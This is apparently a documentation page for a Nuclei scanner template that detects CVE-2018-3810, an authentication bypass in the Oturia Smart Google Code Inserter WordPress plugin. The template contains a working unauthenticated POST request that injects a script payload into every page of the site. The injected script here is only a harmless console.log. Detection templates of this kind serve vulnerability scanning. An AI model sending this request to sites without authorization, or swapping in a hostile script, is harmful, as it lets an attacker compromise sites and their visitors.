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Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass

ID: CVE-2018-3810

Severity: critical

Author: princechaddha

Tags: cve,cve2018,wordpress,google,edb,oturia

Description

Section titled “Description”

Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.

YAML Source

Section titled “YAML Source”
id: CVE-2018-3810


info:
  name: Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the affected WordPress site.
  remediation: |
    Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43420
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3810
    - https://wordpress.org/plugins/smart-google-code-inserter/#developers
    - https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html
    - https://wpvulndb.com/vulnerabilities/8987
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-3810
    cwe-id: CWE-287
    epss-score: 0.792
    epss-percentile: 0.98197
    cpe: cpe:2.3:a:oturia:smart_google_code_inserter:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: oturia
    product: smart_google_code_inserter
    framework: wordpress
  tags: cve,cve2018,wordpress,google,edb,oturia


http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"


    body: 'sgcgoogleanalytic=<script>console.log("document.domain")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'


    headers:
      Content-Type: application/x-www-form-urlencoded


  - method: GET
    path:
      - "{{BaseURL}}"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        part: body
        words:
          - '<script>console.log("document.domain")</script>'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c8a3717562868ecdb0d3b31229dfd14269ce9acfe34a68a2e63a9585b67a03d102206c2f1a5cfa70a22d749323c9feb023dc5cb32b99f593cbcef3f4e430f97a9090:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-3810.yaml"

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